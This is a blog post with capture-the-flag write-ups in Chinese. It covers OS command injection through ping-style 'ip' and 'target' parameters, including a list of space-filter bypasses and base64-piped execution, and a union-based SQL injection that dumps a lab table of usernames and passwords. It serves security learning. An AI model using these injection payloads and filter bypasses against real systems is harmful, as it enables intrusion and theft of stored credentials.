x2658y's Blog

杂七杂八的记事本

看页面提示, 显然是get请求提交参数, 输入一个ip试试水

image-20211031001710090

正常回显, 来个ls看看

image-20211031001843555

嚯, 好家伙, flag.php就在这里了, 这不得cat flag.php搞它一手?

image-20211031002002407

还是Too Young, 空格被过滤不让用, 看样子肯定没那么简单, 那么就需要绕过空格

常见的绕过空格过滤的方法:

1
2
3
4
5
6
7
8
9
$IFS    //Ubuntu20.04测试通过, 但是后面不能直接跟字符,应该用字符变量.比如str1=fl;str2=ag.php;cat$IFS$str1$str2是对的,而cat$IFSflag是错的
${IFS} //Ubuntu20.04测试通过
$IFS$1 //Ubuntu20.04测试通过
$IFS$9 //Ubuntu20.04测试通过
< //Ubuntu20.04测试通过
<> //Ubuntu20.04测试通过
{cat,flag.php} //Ubuntu20.04测试通过
$'\x09' //Ubuntu20.04测试通过,\x09是制表符.使用方法,比如a=$'cat\x09flag';$a
$'\x20' //Ubuntu20.04测试通过,\x20是空格.使用方法同上
image-20211031115928471

emmmm, 空格是绕过去了, 但是还有一道flag关键词检测. 我们可以先看看index.php里的过滤规则:

1
ip=127.0.0.1;cat$IFS$1index.php
image-20211031124448093

可以看到过滤的内容还是相当多的, 最过分的是flag关键词检测, 可谓十分粗暴

方法一 定义变量绕过关键词检测:

1
ip=127.0.0.1;str1=fl;str2=ag.php;cat$IFS$str1$str2
image-20211031120239967

还是不行, 看样子是要flag四个字母顺序出现在命令里就不行, 那好办, 变量俩调换一下位置就可以了:

1
ip=127.0.0.1;str2=ag.php;str1=fl;cat$IFS$str1$str2
image-20211031122853535

回显没了? 不慌, 可能是注释, 查看源码, flag到手

image-20211031122921119

方法二 base64编码后解码执行

利用管道符, 先将命令用base64编码, 再解码传给sh执行, 这里还要采用%IFS$1绕过空格限制

1
ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

结果同上

方法三 利用反引号内联执行

同样的, 这里也需要用到$IFS$1绕过空格

1
ip=127.0.0.1;cat$IFS$1`ls`
image-20211031123455770

查看源码, 可见index.php和flag.php都被显示了出来

首先按照惯例, 万能密码注入, 成功, 出来个用户名和密码, 然而好像并没有什么用image-20211030180951656

然后从order by 1试到order by 3正常回显, order by 4报错, 得知有3个字段

采用联合查询寻找回显点位:

1
username=x2658y&password=1' union select 1,2,3;%23
image-20211030181855242

可知第2, 3字段数据会被回显, 可以在这两处使用函数database()拿到数据库名:

1
username=x2658y&password=1' union select 1,database(),3;%23
image-20211030182223082

数据库名为geek, 接下来可以进一步拿到表名.

数据库系统中, 自带的information_schema数据库中储存着所有数据库的表名, 字段名等各种信息, 从这里面可以得知geek数据库里的表名和表里的字段名等

information_schema.tables表中存储着数据库名对应的所有表名

1
username=x2658y&password=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek';%23

注意table_schema='geek'中的geek要加引号, 因为它是字符串, 当where子句比较对象是数字时, 比如where id > 50时不需要引号.

group_concat()该字段的所有值合并(默认)以','分隔

image-20211030184112176

可以看到, geek数据库中有两个表geekuserl0ve1ysq1, 猜测数据就在l0ve1ysq1表中. 同理, 从information_schema.columns里取出l0ve1ysq1的所有字段名, 然后万事俱备, 就可以联合查询拿到表中的所有数据了

1
username=x2658y&password=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';%23
image-20211030195642687

可以看到,共有三个字段id,username,password, 接下来尝试一下提取所有数据(为了方便观察,将id,username,password之间用'-'分割开)

1
username=x2658y&password=1' union select 1,group_concat(id,'-',username,'-',password),3 from geek.l0ve1ysq1;%23
image-20211030200642577

于是我们得到了这样一坨(嗯,一坨)东西, 查看源代码就能提取出来一串凌乱的字符

1
Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{e5a2cc9e-e2bb-4410-9fa1-cf8c2361a9b3}!

我们的flag就在其中(竟然是用户的密码🙄)

首先查看源代码,一无所获,尝试输入127.0.0.1, 有回显

image-20211030130427904

接着尝试组合命令127.0.0.1&&ls,失败

再尝试127.0.0.1;ls成功(实测这里也可以用127.0.0.1||ls, 但是用分号最稳妥, 不管前面的语句是否执行成功后面的语句都会执行)image-20211030130359106

127.0.0.1||ls&&cat index.php输出index.php的源代码, 由于输出在网页上会自动解析成网页, 所以需要右键查看源代码才能看到image-20211030131153532

可见后台内容十分简单没有任何审查, 尝试构造payload到根目录寻找flag

1
target=127.0.0.1;cd ../../../../../;ls -la;
image-20211030131524211

可以看到根目录下有一个flag文件, 我们只需要将它打印出来即可,将payload改为

1
target=127.0.0.1;cd ../../../../../;ls -la;cat flag;
image-20211030131706602

flag到手~

0%